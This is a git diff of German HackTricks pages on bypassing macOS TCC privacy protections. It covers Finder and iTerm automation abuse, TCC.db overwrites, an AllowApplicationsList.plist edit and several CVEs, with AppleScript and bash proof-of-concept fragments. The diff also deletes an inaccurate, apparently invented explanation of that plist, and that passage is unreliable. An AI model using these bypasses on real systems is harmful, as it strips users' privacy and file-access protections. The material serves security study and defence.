### Automatisierung (SE) + Barrierefreiheit (**`kTCCServicePostEvent`|**`kTCCServiceAccessibility`**)** zu FDA\*
|
||||
|
||||
Die Automatisierung mit **`System Events`** + Barrierefreiheit (**`kTCCServicePostEvent`**) ermöglicht das Senden von **Tastatureingaben an Prozesse**. Auf diese Weise könnten Sie den Finder missbrauchen, um die TCC.db des Benutzers zu ändern oder FDA an eine beliebige App zu geben (obwohl möglicherweise ein Passwort dafür angefordert wird).
|
||||
Automatisierung auf **`System Events`** + Barrierefreiheit (**`kTCCServicePostEvent`**) ermöglicht das Senden von Tastenanschlägen an Prozesse. Auf diese Weise könnten Sie Finder missbrauchen, um die TCC.db des Benutzers zu ändern oder FDA an eine beliebige App zu vergeben (obwohl möglicherweise ein Passwort dafür abgefragt wird).
|
||||
|
||||
Beispiel für das Überschreiben der TCC.db des Benutzers durch den Finder:
|
||||
Beispiel für das Überschreiben der TCC.db des Benutzers durch Finder:
|
||||
```applescript
|
||||
-- store the TCC.db file to copy in /tmp
|
||||
osascript <<EOF
|
||||
|
@ -516,38 +517,38 @@ EOF
|
|||
```
|
||||
### `kTCCServiceAccessibility` zu FDA\*
|
||||
|
||||
Überprüfen Sie diese Seite für einige [**Payloads, um die Accessibility-Berechtigungen zu missbrauchen**](macos-tcc-payloads.md#accessibility), um beispielsweise zu FDA\* zu eskalieren oder einen Keylogger auszuführen.
|
||||
Überprüfen Sie diese Seite für einige [**Payloads zur Ausnutzung der Zugriffsberechtigungen für Barrierefreiheit**](macos-tcc-payloads.md#accessibility), um zu FDA\* zu eskalieren oder beispielsweise einen Keylogger auszuführen.
|
||||
|
||||
### **Endpoint Security Client zu FDA**
|
||||
|
||||
Wenn Sie **`kTCCServiceEndpointSecurityClient`** haben, haben Sie FDA. Ende.
|
||||
|
||||
### System Policy SysAdmin File zu FDA
|
||||
### Systemrichtlinie SysAdmin-Datei zu FDA
|
||||
|
||||
**`kTCCServiceSystemPolicySysAdminFiles`** ermöglicht es, das Attribut **`NFSHomeDirectory`** eines Benutzers zu **ändern**, der seinen Home-Ordner ändert, und ermöglicht es daher, TCC zu umgehen.
|
||||
**`kTCCServiceSystemPolicySysAdminFiles`** ermöglicht es, das **`NFSHomeDirectory`**-Attribut eines Benutzers zu **ändern**, das sein Benutzerverzeichnis ändert und somit das Umgehen von TCC ermöglicht.
|
||||
|
||||
### Benutzer-TCC-DB zu FDA
|
||||
|
||||
Wenn Sie **Schreibberechtigungen** für die **Benutzer-TCC-Datenbank** erhalten, können Sie sich **nicht selbst FDA-Berechtigungen gewähren**, nur diejenigen, die in der Systemdatenbank leben, können das gewähren.
|
||||
Durch Erlangen von **Schreibberechtigungen** über die **Benutzer-TCC-Datenbank können Sie sich keine **`FDA`**-Berechtigungen gewähren, nur diejenigen, die in der Systemdatenbank leben, können das gewähren.
|
||||
|
||||
Aber Sie können sich **`Automatisierungsrechte für Finder`** geben und die vorherige Technik missbrauchen, um zu FDA\* zu eskalieren.
|
||||
|
||||
### **FDA zu TCC-Berechtigungen**
|
||||
|
||||
Der TCC-Name für **Full Disk Access** ist **`kTCCServiceSystemPolicyAllFiles`**
|
||||
**Voller Festplattenzugriff** heißt in TCC **`kTCCServiceSystemPolicyAllFiles`**
|
||||
|
||||
Ich denke nicht, dass dies eine echte Eskalation ist, aber für den Fall, dass Sie es nützlich finden: Wenn Sie ein Programm mit FDA steuern, können Sie die Benutzer-TCC-Datenbank ändern und sich selbst beliebigen Zugriff gewähren. Dies kann als Persistenztechnik nützlich sein, falls Sie Ihre FDA-Berechtigungen verlieren könnten.
|
||||
Ich denke nicht, dass dies eine echte Eskalation ist, aber für den Fall, dass Sie es nützlich finden: Wenn Sie ein Programm mit FDA steuern, können Sie die Benutzer-TCC-Datenbank **ändern und sich beliebigen Zugriff gewähren**. Dies kann als Persistenztechnik nützlich sein, falls Sie Ihre FDA-Berechtigungen verlieren könnten.
|
||||
|
||||
### **SIP-Bypass zu TCC-Bypass**
|
||||
### **SIP-Umgehung zu TCC-Umgehung**
|
||||
|
||||
Die System-TCC-Datenbank ist durch SIP geschützt, daher können nur Prozesse mit den angegebenen Berechtigungen sie ändern. Wenn ein Angreifer jedoch einen SIP-Bypass über eine Datei findet (eine Datei ändern kann, die durch SIP eingeschränkt ist), kann er Folgendes tun:
|
||||
Die System-TCC-Datenbank ist durch **SIP** geschützt, deshalb können nur Prozesse mit den **angegebenen Berechtigungen** sie ändern. Daher, wenn ein Angreifer eine **SIP-Umgehung** über eine **Datei** findet (eine Datei, die durch SIP eingeschränkt ist, ändern kann), wird er in der Lage sein:
|
||||
|
||||
* Den Schutz einer TCC-Datenbank entfernen und sich alle TCC-Berechtigungen geben. Er könnte beispielsweise eine dieser Dateien missbrauchen:
|
||||
* Den Schutz einer TCC-Datenbank aufheben und sich alle TCC-Berechtigungen geben. Er könnte beispielsweise eine dieser Dateien missbrauchen:
|
||||
* Die TCC-Systemdatenbank
|
||||
* REG.db
|
||||
* MDMOverrides.plist
|
||||
|
||||
Es gibt jedoch eine andere Möglichkeit, diesen **SIP-Bypass zum Umgehen von TCC** zu missbrauchen. Die Datei `/Library/Apple/Library/Bundles/TCC_Compatibility.bundle/Contents/Resources/AllowApplicationsList.plist` ist eine Liste von Anwendungen, die eine TCC-Ausnahme erfordern. Wenn ein Angreifer den SIP-Schutz von dieser Datei entfernen und seine **eigene Anwendung hinzufügen** kann, kann die Anwendung TCC umgehen.\
|
||||
Es gibt jedoch eine andere Möglichkeit, diese **SIP-Umgehung zu nutzen, um TCC zu umgehen**: Die Datei `/Library/Apple/Library/Bundles/TCC_Compatibility.bundle/Contents/Resources/AllowApplicationsList.plist` ist eine Liste von Anwendungen, die eine TCC-Ausnahme erfordern. Daher, wenn ein Angreifer den SIP-Schutz von dieser Datei entfernen und seine **eigene Anwendung hinzufügen** kann, wird die Anwendung in der Lage sein, TCC zu umgehen.\
|
||||
Zum Beispiel, um Terminal hinzuzufügen:
|
||||
```bash
|
||||
# Get needed info
|
||||
|
@ -555,43 +556,7 @@ codesign -d -r- /System/Applications/Utilities/Terminal.app
|
|||
```
|
||||
AllowApplicationsList.plist:
|
||||
|
||||
Dies ist eine Konfigurationsdatei für die macOS Transparency, Consent, and Control (TCC) Funktion. Diese Funktion ermöglicht es Benutzern, den Zugriff auf bestimmte Ressourcen wie Kamera, Mikrofon, Standort und Kontakte für Anwendungen zu steuern.
|
||||
|
||||
In dieser Datei werden die Anwendungen aufgelistet, denen der Zugriff auf diese Ressourcen erlaubt ist. Jede Anwendung wird durch ihren Bundle Identifier identifiziert, der eine eindeutige Kennung für die Anwendung darstellt.
|
||||
|
||||
Um den Zugriff auf eine Ressource für eine bestimmte Anwendung zu erlauben, fügen Sie den Bundle Identifier der Anwendung zur Liste hinzu. Um den Zugriff zu verweigern, entfernen Sie den entsprechenden Eintrag aus der Liste.
|
||||
|
||||
Es ist wichtig zu beachten, dass das Bearbeiten dieser Datei Administratorrechte erfordert. Änderungen werden erst wirksam, nachdem der Benutzer sich ab- und wieder angemeldet hat.
|
||||
|
||||
Beispiel:
|
||||
|
||||
```
|
||||
<key>TCCService</key>
|
||||
<dict>
|
||||
<key>Allowed</key>
|
||||
<true/>
|
||||
<key>BundleIdentifier</key>
|
||||
<string>com.example.app</string>
|
||||
<key>Description</key>
|
||||
<string>This app requires access to the camera.</string>
|
||||
<key>DisplayName</key>
|
||||
<string>Example App</string>
|
||||
<key>Identifier</key>
|
||||
<string>com.example.app</string>
|
||||
<key>IsAppleInternal</key>
|
||||
<false/>
|
||||
<key>IsEnabled</key>
|
||||
<true/>
|
||||
<key>IsWhitelisted</key>
|
||||
<false/>
|
||||
<key>Policy</key>
|
||||
<integer>1</integer>
|
||||
<key>Service</key>
|
||||
<string>kTCCServiceCamera</string>
|
||||
</dict>
|
||||
```
|
||||
|
||||
In diesem Beispiel wird der Anwendung mit dem Bundle Identifier "com.example.app" der Zugriff auf die Kamera erlaubt.
|
||||
ErlaubteAnwendungsliste.plist:
|
||||
```xml
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
|
||||
|
@ -614,7 +579,7 @@ In diesem Beispiel wird der Anwendung mit dem Bundle Identifier "com.example.app
|
|||
</dict>
|
||||
</plist>
|
||||
```
|
||||
### TCC-Bypasses
|
||||
### TCC Umgehungen
|
||||
|
||||
{% content-ref url="macos-tcc-bypasses/" %}
|
||||
[macos-tcc-bypasses](macos-tcc-bypasses/)
|
||||
|
@ -629,14 +594,14 @@ In diesem Beispiel wird der Anwendung mit dem Bundle Identifier "com.example.app
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>Lernen Sie AWS-Hacking von Grund auf mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Erlernen Sie AWS-Hacking von Grund auf mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Andere Möglichkeiten, HackTricks zu unterstützen:
|
||||
|
||||
* Wenn Sie Ihr **Unternehmen in HackTricks bewerben möchten** oder **HackTricks im PDF-Format herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
|
||||
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories senden.
|
||||
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories einreichen.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -2,15 +2,15 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>Lernen Sie AWS-Hacking von Grund auf mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Erlernen Sie AWS-Hacking von Grund auf mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Andere Möglichkeiten, HackTricks zu unterstützen:
|
||||
|
||||
* Wenn Sie Ihr **Unternehmen in HackTricks bewerben möchten** oder **HackTricks als PDF herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
|
||||
* Wenn Sie Ihr **Unternehmen in HackTricks beworben sehen möchten** oder **HackTricks im PDF-Format herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merch**](https://peass.creator-spring.com)
|
||||
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories senden.
|
||||
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories einreichen.
|
||||
|
||||
</details>
|
||||
|
||||
|
@ -18,7 +18,7 @@ Andere Möglichkeiten, HackTricks zu unterstützen:
|
|||
|
||||
### Schreibumgehung
|
||||
|
||||
Dies ist keine Umgehung, sondern nur wie TCC funktioniert: **Es schützt nicht vor dem Schreiben**. Wenn das Terminal **keinen Zugriff auf den Desktop eines Benutzers zum Lesen hat, kann es dennoch darin schreiben**:
|
||||
Dies ist keine Umgehung, es ist einfach, wie TCC funktioniert: **Es schützt nicht vor dem Schreiben**. Wenn das Terminal **keinen Zugriff zum Lesen des Desktops eines Benutzers hat, kann es dennoch darin schreiben**:
|
||||
```shell-session
|
||||
username@hostname ~ % ls Desktop
|
||||
ls: Desktop: Operation not permitted
|
||||
|
@ -28,53 +28,72 @@ ls: Desktop: Operation not permitted
|
|||
username@hostname ~ % cat Desktop/lalala
|
||||
asd
|
||||
```
|
||||
Das **erweiterte Attribut `com.apple.macl`** wird der neuen **Datei** hinzugefügt, um der **Ersteller-App** Zugriff auf das Lesen zu ermöglichen.
|
||||
Der **erweiterte Attribut `com.apple.macl`** wird der neuen **Datei** hinzugefügt, um der **Ersteller-App** Zugriff auf das Lesen zu gewähren.
|
||||
|
||||
### TCC ClickJacking
|
||||
|
||||
Es ist möglich, **ein Fenster über die TCC-Aufforderung zu legen**, um den Benutzer dazu zu bringen, es **ohne es zu bemerken zu akzeptieren**. Sie finden einen PoC unter [**TCC-ClickJacking**](https://github.com/breakpointHQ/TCC-ClickJacking)**.**
|
||||
|
||||
<figure><img src="broken-reference" alt=""><figcaption><p><a href="https://github.com/breakpointHQ/TCC-ClickJacking/raw/main/resources/clickjacking.jpg">https://github.com/breakpointHQ/TCC-ClickJacking/raw/main/resources/clickjacking.jpg</a></p></figcaption></figure>
|
||||
|
||||
### TCC-Anfrage unter beliebigem Namen
|
||||
|
||||
Ein Angreifer kann **Apps mit beliebigem Namen** (z. B. Finder, Google Chrome...) in der **`Info.plist`** erstellen und diese dazu bringen, Zugriff auf einen geschützten TCC-Ort anzufordern. Der Benutzer wird denken, dass die legitime Anwendung diejenige ist, die diesen Zugriff anfordert.\
|
||||
Darüber hinaus ist es möglich, **die legitime App aus dem Dock zu entfernen und die gefälschte darauf zu platzieren**, sodass, wenn der Benutzer auf die gefälschte App klickt (die dasselbe Symbol verwenden kann), sie die legitime aufrufen könnte, um TCC-Berechtigungen anzufordern und Malware auszuführen, sodass der Benutzer glaubt, dass die legitime App den Zugriff angefordert hat.
|
||||
|
||||
<figure><img src="https://lh7-us.googleusercontent.com/Sh-Z9qekS_fgIqnhPVSvBRmGpCXCpyuVuTw0x5DLAIxc2MZsSlzBOP7QFeGo_fjMeCJJBNh82f7RnewW1aWo8r--JEx9Pp29S17zdDmiyGgps1hH9AGR8v240m5jJM8k0hovp7lm8ZOrbzv-RC8NwzbB8w=s2048" alt="" width="375"><figcaption></figcaption></figure>
|
||||
|
||||
Weitere Informationen und PoC unter:
|
||||
|
||||
{% content-ref url="../../../macos-privilege-escalation.md" %}
|
||||
[macos-privilege-escalation.md](../../../macos-privilege-escalation.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### SSH-Bypass
|
||||
|
||||
Standardmäßig hatte ein Zugriff über **SSH "Full Disk Access"**. Um dies zu deaktivieren, müssen Sie es aufgelistet haben, aber deaktiviert (das Entfernen aus der Liste entfernt diese Berechtigungen nicht):
|
||||
Standardmäßig hatte ein Zugriff über **SSH "Vollen Festplattenzugriff"**. Um dies zu deaktivieren, muss es aufgelistet, aber deaktiviert sein (das Entfernen aus der Liste entfernt diese Berechtigungen nicht):
|
||||
|
||||
![](<../../../../../.gitbook/assets/image (569).png>)
|
||||
|
||||
Hier finden Sie Beispiele, wie einige **Malware in der Lage war, diesen Schutz zu umgehen**:
|
||||
Hier finden Sie Beispiele, wie einige **Malwares es geschafft haben, diesen Schutz zu umgehen**:
|
||||
|
||||
* [https://www.jamf.com/blog/zero-day-tcc-bypass-discovered-in-xcsset-malware/](https://www.jamf.com/blog/zero-day-tcc-bypass-discovered-in-xcsset-malware/)
|
||||
|
||||
{% hint style="danger" %}
|
||||
Beachten Sie, dass Sie jetzt **"Full Disk Access"** benötigen, um SSH aktivieren zu können.
|
||||
Beachten Sie, dass jetzt, um SSH aktivieren zu können, **Voller Festplattenzugriff** benötigt wird.
|
||||
{% endhint %}
|
||||
|
||||
### Erweiterungen behandeln - CVE-2022-26767
|
||||
### Dateierweiterungen behandeln - CVE-2022-26767
|
||||
|
||||
Das Attribut **`com.apple.macl`** wird Dateien zugewiesen, um einer **bestimmten Anwendung Berechtigungen zum Lesen** zu geben. Dieses Attribut wird gesetzt, wenn eine Datei über eine App **gezogen und abgelegt** wird oder wenn ein Benutzer eine Datei **doppelklickt**, um sie mit der **Standardanwendung** zu öffnen.
|
||||
Das Attribut **`com.apple.macl`** wird Dateien gegeben, um einer **bestimmten Anwendung Berechtigungen zum Lesen zu geben**. Dieses Attribut wird gesetzt, wenn eine Datei über eine App gezogen wird oder wenn ein Benutzer eine Datei doppelklickt, um sie mit der **Standardanwendung** zu öffnen.
|
||||
|
||||
Daher könnte ein Benutzer eine bösartige App registrieren, um alle Erweiterungen zu behandeln und Launch Services aufrufen, um **beliebige Dateien zu öffnen** (damit die bösartige Datei Zugriff zum Lesen erhält).
|
||||
Daher könnte ein Benutzer eine bösartige App registrieren, um alle Erweiterungen zu behandeln und Launch Services aufrufen, um **eine beliebige Datei zu öffnen** (damit die bösartige Datei Zugriff erhält, um sie zu lesen).
|
||||
|
||||
### iCloud
|
||||
|
||||
Mit der Berechtigung **`com.apple.private.icloud-account-access`** ist es möglich, mit dem **`com.apple.iCloudHelper`** XPC-Dienst zu kommunizieren, der **iCloud-Token bereitstellt**.
|
||||
|
||||
**iMovie** und **Garageband** hatten diese Berechtigung und andere, die es erlaubten.
|
||||
**iMovie** und **Garageband** hatten diese Berechtigung und andere, die erlaubt waren.
|
||||
|
||||
Für weitere **Informationen** über den Exploit, um **iCloud-Token** aus dieser Berechtigung zu erhalten, siehe den Vortrag: [**#OBTS v5.0: "What Happens on your Mac, Stays on Apple's iCloud?!" - Wojciech Regula**](https://www.youtube.com/watch?v=_6e2LhmxVc0)
|
||||
Für weitere **Informationen** über den Exploit, um **iCloud-Token** aus dieser Berechtigung zu erhalten, überprüfen Sie den Vortrag: [**#OBTS v5.0: "Was auf Ihrem Mac passiert, bleibt in Apples iCloud?!" - Wojciech Regula**](https://www.youtube.com/watch?v=_6e2LhmxVc0)
|
||||
|
||||
### kTCCServiceAppleEvents / Automation
|
||||
|
||||
Eine App mit der Berechtigung **`kTCCServiceAppleEvents`** kann andere Apps **steuern**. Das bedeutet, dass sie die Berechtigungen, die den anderen Apps gewährt wurden, **missbrauchen** könnte.
|
||||
Eine App mit der Berechtigung **`kTCCServiceAppleEvents`** kann **andere Apps steuern**. Dies bedeutet, dass sie die Berechtigungen, die anderen Apps gewährt wurden, **missbrauchen könnte**.
|
||||
|
||||
Für weitere Informationen über Apple Scripts siehe:
|
||||
Für weitere Informationen zu Apple Scripts siehe:
|
||||
|
||||
{% content-ref url="macos-apple-scripts.md" %}
|
||||
[macos-apple-scripts.md](macos-apple-scripts.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
Zum Beispiel, wenn eine App **Automatisierungsberechtigungen über `iTerm`** hat, hat in diesem Beispiel **`Terminal`** Zugriff auf iTerm:
|
||||
Wenn eine App z. B. **Automatisierungsberechtigung über `iTerm`** hat, hat sie in diesem Beispiel **`Terminal`** Zugriff auf iTerm:
|
||||
|
||||
<figure><img src="../../../../../.gitbook/assets/image (2) (2) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Über iTerm
|
||||
|
||||
Terminal, das kein FDA hat, kann iTerm aufrufen, das es hat, und es verwenden, um Aktionen auszuführen:
|
||||
Terminal, der keinen FDA hat, kann iTerm aufrufen, der FDA hat, und ihn verwenden, um Aktionen auszuführen:
|
||||
|
||||
{% code title="iterm.script" %}
|
||||
```applescript
|
||||
|
@ -94,7 +113,7 @@ osascript iterm.script
|
|||
```
|
||||
#### Über Finder
|
||||
|
||||
Oder wenn eine App Zugriff über Finder hat, könnte sie ein Skript wie dieses verwenden:
|
||||
Oder wenn eine App Zugriff über Finder hat, könnte es ein Skript wie dieses sein:
|
||||
```applescript
|
||||
set a_user to do shell script "logname"
|
||||
tell application "Finder"
|
||||
|
@ -106,12 +125,12 @@ do shell script "rm " & POSIX path of (copyFile as alias)
|
|||
```
|
||||
## Nach App-Verhalten
|
||||
|
||||
### CVE-2020-9934 - TCC <a href="#c19b" id="c19b"></a>
|
||||
### CVE-2020–9934 - TCC <a href="#c19b" id="c19b"></a>
|
||||
|
||||
Der Benutzerland-Dämon **tccd** verwendet die Umgebungsvariable **`HOME`**, um auf die TCC-Benutzerdatenbank unter **`$HOME/Library/Application Support/com.apple.TCC/TCC.db`** zuzugreifen.
|
||||
Der Benutzerbereich **tccd-Dämon** verwendet die **`HOME`** **env**-Variable, um auf die TCC-Benutzerdatenbank von **`$HOME/Library/Application Support/com.apple.TCC/TCC.db`** zuzugreifen.
|
||||
|
||||
Gemäß [diesem Stack Exchange-Beitrag](https://stackoverflow.com/questions/135688/setting-environment-variables-on-os-x/3756686#3756686) und da der TCC-Dämon über `launchd` innerhalb der aktuellen Benutzerdomäne ausgeführt wird, ist es möglich, **alle Umgebungsvariablen** zu kontrollieren, die an ihn übergeben werden.\
|
||||
Daher könnte ein Angreifer die Umgebungsvariable `$HOME` in `launchctl` so setzen, dass sie auf ein **kontrolliertes Verzeichnis** zeigt, den TCC-Dämon **neu starten** und dann die TCC-Datenbank **direkt modifizieren**, um sich selbst **alle verfügbaren TCC-Berechtigungen** zu geben, ohne den Endbenutzer jemals um Erlaubnis zu bitten.\
|
||||
Gemäß [diesem Stack Exchange-Beitrag](https://stackoverflow.com/questions/135688/setting-environment-variables-on-os-x/3756686#3756686) und da der TCC-Dämon über `launchd` im aktuellen Benutzerbereich ausgeführt wird, ist es möglich, **alle Umgebungsvariablen zu kontrollieren**, die an ihn übergeben werden.\
|
||||
Daher könnte ein **Angreifer die `$HOME`-Umgebungsvariable** in **`launchctl`** setzen, um auf ein **kontrolliertes Verzeichnis** zu verweisen, den **TCC**-Dämon **neu starten** und dann die **TCC-Datenbank direkt ändern**, um sich **alle verfügbaren TCC-Berechtigungen** zu geben, ohne den Endbenutzer jemals zur Eingabe aufzufordern.\
|
||||
PoC:
|
||||
```bash
|
||||
# reset database just in case (no cheating!)
|
||||
|
@ -141,90 +160,90 @@ $> ls ~/Documents
|
|||
```
|
||||
### CVE-2021-30761 - Notizen
|
||||
|
||||
Notizen hatte Zugriff auf TCC-geschützte Orte, aber wenn eine Notiz erstellt wird, wird diese in einem nicht geschützten Ort erstellt. Sie könnten also Notizen bitten, eine geschützte Datei in einer Notiz (also an einem nicht geschützten Ort) zu kopieren und dann auf die Datei zuzugreifen:
|
||||
Notizen hatten Zugriff auf TCC-geschützte Orte, aber wenn eine Notiz erstellt wird, wird dies **an einem nicht geschützten Ort erstellt**. Daher konnte man Notizen auffordern, eine geschützte Datei in eine Notiz zu kopieren (also an einen nicht geschützten Ort) und dann auf die Datei zuzugreifen:
|
||||
|
||||
<figure><img src="../../../../../.gitbook/assets/image (6) (1) (3).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### CVE-2021-30782 - Translokation
|
||||
|
||||
Die Binärdatei `/usr/libexec/lsd` mit der Bibliothek `libsecurity_translocate` hatte die Berechtigung `com.apple.private.nullfs_allow`, die es ihr ermöglichte, ein Nullfs-Mount zu erstellen, und die Berechtigung `com.apple.private.tcc.allow` mit `kTCCServiceSystemPolicyAllFiles`, um auf jede Datei zuzugreifen.
|
||||
Die Binärdatei `/usr/libexec/lsd` mit der Bibliothek `libsecurity_translocate` hatte die Berechtigung `com.apple.private.nullfs_allow`, die es ermöglichte, ein **nullfs**-Laufwerk zu erstellen, und hatte die Berechtigung `com.apple.private.tcc.allow` mit **`kTCCServiceSystemPolicyAllFiles`**, um auf jede Datei zuzugreifen.
|
||||
|
||||
Es war möglich, das Quarantäneattribut auf "Library" hinzuzufügen, den XPC-Dienst `com.apple.security.translocation` aufzurufen und dann würde Library auf `$TMPDIR/AppTranslocation/d/d/Library` abgebildet, wo alle Dokumente in Library **zugänglich** wären.
|
||||
Es war möglich, das Quarantäneattribut zu "Library" hinzuzufügen, den **`com.apple.security.translocation`** XPC-Dienst aufzurufen und dann würde Library auf **`$TMPDIR/AppTranslocation/d/d/Library`** gemappt, wo alle Dokumente in Library **zugegriffen** werden konnten.
|
||||
|
||||
### CVE-2023-38571 - Musik & TV <a href="#cve-2023-38571-a-macos-tcc-bypass-in-music-and-tv" id="cve-2023-38571-a-macos-tcc-bypass-in-music-and-tv"></a>
|
||||
|
||||
**`Musik`** hat eine interessante Funktion: Wenn es läuft, importiert es die in **`~/Music/Music/Media.localized/Automatically Add to Music.localized`** abgelegten Dateien in die "Mediathek" des Benutzers. Außerdem ruft es etwas wie **`rename(a, b);`** auf, wobei `a` und `b` folgendes sind:
|
||||
**`Musik`** hat eine interessante Funktion: Wenn es läuft, werden die in **`~/Music/Music/Media.localized/Automatically Add to Music.localized`** abgelegten Dateien in die "Mediathek" des Benutzers **importiert**. Darüber hinaus ruft es etwas wie auf: **`rename(a, b);**`, wobei `a` und `b` sind:
|
||||
|
||||
* `a = "~/Music/Music/Media.localized/Automatically Add to Music.localized/myfile.mp3"`
|
||||
* `b = "~/Music/Music/Media.localized/Automatically Add to Music.localized/Not Added.localized/2023-09-25 11.06.28/myfile.mp3`
|
||||
|
||||
Dieses **`rename(a, b);`**-Verhalten ist anfällig für eine **Race Condition**, da es möglich ist, in den Ordner `Automatically Add to Music.localized` eine gefälschte **TCC.db**-Datei zu legen und dann, wenn der neue Ordner (b) erstellt wird, die Datei zu kopieren, zu löschen und auf **`~/Library/Application Support/com.apple.TCC`** zu verweisen.
|
||||
Dieses **`rename(a, b);`**-Verhalten ist anfällig für eine **Race Condition**, da es möglich ist, eine gefälschte **TCC.db**-Datei in den Ordner `Automatically Add to Music.localized` zu legen und dann, wenn der neue Ordner (b) erstellt wird, die Datei zu kopieren, zu löschen und auf **`~/Library/Application Support/com.apple.TCC`**/ zu verweisen.
|
||||
|
||||
### SQLITE\_SQLLOG\_DIR - CVE-2023-32422
|
||||
|
||||
Wenn **`SQLITE_SQLLOG_DIR="Pfad/Ordner"`** gesetzt ist, bedeutet dies im Grunde, dass jede geöffnete Datenbank in diesen Pfad kopiert wird. In dieser CVE wurde diese Kontrolle missbraucht, um in eine SQLite-Datenbank zu schreiben, die von einem Prozess mit FDA der TCC-Datenbank geöffnet wird, und dann **`SQLITE_SQLLOG_DIR`** mit einem Symlink im Dateinamen zu missbrauchen. Wenn diese Datenbank geöffnet wird, wird die Benutzer-TCC.db mit der geöffneten überschrieben.\
|
||||
**Weitere Informationen** [**im Writeup**](https://gergelykalman.com/sqlol-CVE-2023-32422-a-macos-tcc-bypass.html) **und** [**im Vortrag**](https://www.youtube.com/watch?v=f1HA5QhLQ7Y\&t=20548s).
|
||||
Wenn **`SQLITE_SQLLOG_DIR="Pfad/Ordner"`** bedeutet dies im Grunde, dass **jede geöffnete DB an diesen Pfad kopiert wird**. In diesem CVE wurde diese Steuerung missbraucht, um innerhalb einer **SQLite-Datenbank zu schreiben**, die von einem Prozess mit FDA der TCC-Datenbank geöffnet wird, und dann **`SQLITE_SQLLOG_DIR`** mit einem **Symlink im Dateinamen** zu missbrauchen, sodass, wenn diese Datenbank **geöffnet** wird, die Benutzer-**TCC.db** mit der geöffneten überschrieben wird.\
|
||||
**Weitere Informationen** [**im Bericht**](https://gergelykalman.com/sqlol-CVE-2023-32422-a-macos-tcc-bypass.html) **und** [**in der Präsentation**](https://www.youtube.com/watch?v=f1HA5QhLQ7Y\&t=20548s).
|
||||
|
||||
### **SQLITE\_AUTO\_TRACE**
|
||||
|
||||
Wenn die Umgebungsvariable **`SQLITE_AUTO_TRACE`** gesetzt ist, beginnt die Bibliothek **`libsqlite3.dylib`** mit dem Protokollieren aller SQL-Abfragen. Viele Anwendungen verwendeten diese Bibliothek, daher war es möglich, alle ihre SQLite-Abfragen zu protokollieren.
|
||||
Wenn die Umgebungsvariable **`SQLITE_AUTO_TRACE`** gesetzt ist, wird die Bibliothek **`libsqlite3.dylib`** alle SQL-Abfragen protokollieren. Viele Anwendungen verwendeten diese Bibliothek, daher war es möglich, alle ihre SQLite-Abfragen zu protokollieren.
|
||||
|
||||
